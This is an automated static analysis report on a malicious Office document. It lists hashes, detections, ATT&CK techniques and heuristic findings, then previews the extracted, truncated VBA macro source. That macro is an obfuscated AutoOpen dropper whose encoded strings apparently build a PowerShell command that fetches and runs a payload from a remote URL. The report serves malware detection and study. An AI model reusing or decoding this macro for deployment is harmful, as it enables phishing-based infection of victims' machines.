Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 90c374aceb921c81…

MALICIOUS

Office (OLE)

74.3 KB First seen: 2018-02-19
MD5: 260305b138c4372cf6781b3f46441961 SHA-1: f5dc2181bd1bd8cfc7cc6354f8f39f8714fa016a SHA-256: 90c374aceb921c81f8fbb64440d8df707e029a7c67547f32f24fa6793e149d10
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature 'Img.Dropper.PhishingLure-6443153-0'. Static analysis revealed a VBA macro with an AutoOpen function, indicating it will execute automatically when the document is opened. The macro contains obfuscated code and calls 'Application.Run', suggesting it attempts to execute further malicious actions, likely downloading a payload. The large slack space in the OLE structure is also anomalous.

Heuristics 5

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 76,053 bytes but its declared streams total only 24,563 bytes — 51,490 bytes (68%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19926 bytes
SHA-256: 08f02e17c6c1b7879cf8a7b7011746c6de3a6867dce7b2168c2642959a05ede9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "HaGKUlFuh"
Sub AutoOpen()
On Error Resume Next
VNLfhESLY = uDJIQENwvZoqbF + CDate(1379993) / 4143490 / 4384508 - 6218694 - Fix(2374432)
FsFOEBEGh = joBrGpOopBZtzc + CDate(7985864) / 1369384 / 6084593 - 7447796 - Fix(1106125)
YMhmwSDop = GLwfzPk + CDate(7577644) / 9647028 / 3945140 - 2962781 - Fix(8602108)
jhinMucYz = SAJmzCCZCA + CDate(4848697) / 6957962 / 6753032 - 8130930 - Fix(5180329)
Application.Run "KjZkNDRwfl", TOQGQwaGCAmJ
NANFThSqf = AHLGJMQHktz + CDate(4248160) / 2056923 / 3120563 - 6437182 - Fix(7180062)
YROTwwoMw = PTdoAKiHzvqTto + CDate(1648022) / 5597597 / 9750155 - 9441120 - Fix(5662865)
rpwXiIAbL = BTzHOwzdvtmr + CDate(692374) / 3301715 / 7377700 - 9077766 - Fix(1093828)
YZKTzriHE = vvfziSYzb + CDate(8138862) / 2315509 / 5876909 - 8529998 - Fix(2151740)
End Sub
Function TOQGQwaGCAmJ()
On Error Resume Next
lqdcI = ("Qw75@47%51,50%44<123c104,103@51@73t142z162c145c141,153c73@175t14I1iqzGVdjKRD0J0RBhcLjOA6mFDX")
TKZWbXpXBmu = jNoiCXO + CDate(3407125) / 6124167 / 1423801 - 9944120 - Fix(3397327)
UmRPdnYWK = tbsahsXJhr + CDate(4031779) / 7031559 / 1149875 - 8146647 - Fix(4232918)
ccszVE = Mid(lqdcI, 4, 61)
bHrutnwOaU = ("sa5EHwml4z151g145<156c164%73<44c116%123@102sUlbk4Opnj0BXiX")
awKOHScH = SjNBPttbYIsszW + CDate(3675463) / 9544102 / 9316728 - 6281356 - Fix(8645290)
JJKmVCLTh = kJzYbGVw + CDate(312070) / 8107603 / 9722146 - 5861014 - Fix(4937849)
dzjlmUTl = Mid(bHrutnwOaU, 10, 34)
ssDtrWUzk = ("7zvkLNd94 . ((GET-vaRIAbLe '*MDr*').nAMe[3,11,2]-jOIN'')( [StRIng]::Join( '' ,('44;156z163z141c144,141c163z144U40U75z40c46U50@47;156c47,53z47<145t47;53,451Pn3kZni5mbw1s5bHzMYZ")
OcdjwjTm = bIIlpZI + CDate(4603587) / 9444570 / 5025974 - 6694956 - Fix(1914226)
pREujtrit = SLwhasFQr + CDate(3414248) / 7223206 / 697430 - 4499239 - Fix(4481561)
NNMVIqNdYCw = Mid(ssDtrWUzk, 10, 144)
RjsvTBPKqU = ("zazJTw2@145z143U47z53<47<164%47g51t40c162@141@156c144t157c155g73@44;131UPdSlDVJQ6")
XfirSzhOM = tpjnlblvA + CDate(448641) / 1491423 / 6878270 - 6888433 - Fix(8273658)
ODzYp = iRCqldznYj + CDate(3997163) / 6368789 / 6568152 - 6377245 - Fix(8681089)
SMmrk = Mid(RjsvTBPKqU, 7, 66)
SqDhsPchY = ("M1)),8)-aS[Char])} ) ) ) 2FD0uFIKUkwK")
nzPFJj = OnsSPbcSptCLEQ + CDate(8959175) / 619092 / 2761453 - 1370241 - Fix(7731479)
rPsHF = XLSbOhQzlF + CDate(4850334) / 8860975 / 9019881 - 7859091 - Fix(1242351)
JdrCUKaZGcO = Mid(SqDhsPchY, 3, 23)
NmtnFj = ("VhUa%145;170z145;77U150%164c164t160;163c72,57g57U141U156<147,162;171<142z151z162<144@163<156<145c167c56;164t157@160@57;146<165%153,163c157U154%57t143t143,166z150%157<163c164@151cTkHYjAaG")
kJpjph = DVRDhKdhkU + CDate(1589448) / 3149724 / 2914074 - 1990775 - Fix(246927)
YKHzCB = zdBKicnhF + CDate(360763) / 9247556 / 504934 - 7641295 - Fix(9118377)
OVJvrT = Mid(NmtnFj, 5, 174)
BjzYu = ("8iXUVPi53;40t47c134c47z40<53z40g44<116,123%1iCtCJ")
YFqcDWwcd = lsQKvjKp + CDate(663385) / 9659615 / 8422559 - 5171601 - Fix(6624554)
XbAzjW = zjOatpOTiwHd + CDate(8183758) / 7656842 / 6602710 - 4881926 - Fix(5697798)
EwwntROV = Mid(BjzYu, 8, 37)
fjvwnPmiiW = ("dKdBj68VzC6JT67nMicAi140U151%140%116t147t42@50U51@54z40;44%123U104g103;51,73t46@50g47;111z156@166z157z47t2FHr4I")
uAOQcRqXHK = nNPNGRJwSNTDR + CDate(8639780) / 4380706 / 1365349 - 5781458 - Fix(3961824)
KXjQjKjz = zGokucTpEz + CDate(6453263) / 8137572 / 4306278 - 5882238 - Fix(7721260)
PzXMs = Mid(fjvwnPmiiW, 22, 83)
ssMnis = ("ridzi9G45t142U103%154QNP")
mWPoLsNmBKw = OJHTBfiw + CDate(5610510) / 3918338 / 7095623 - 7445854 - Fix(5448927)
uLmCHXEkH = zkXzYdp + CDate(9313305) / 7719354 / 3545214 - 9429049 - Fix(4485579)
UAnZTE = Mid(ssMnis, 8, 14)
pMfmmRZ = ("ol7c167<55@157g142t158SGsdtLU4BNi5E2ZiYNr3RJKn0Gj")
zShJKVh = akYOjtcTJMVRVp + CDate(4285401) / 5869785 / 448874 - 1539435 - Fix(7864154)
zdLmG = qqJwPK
... (truncated)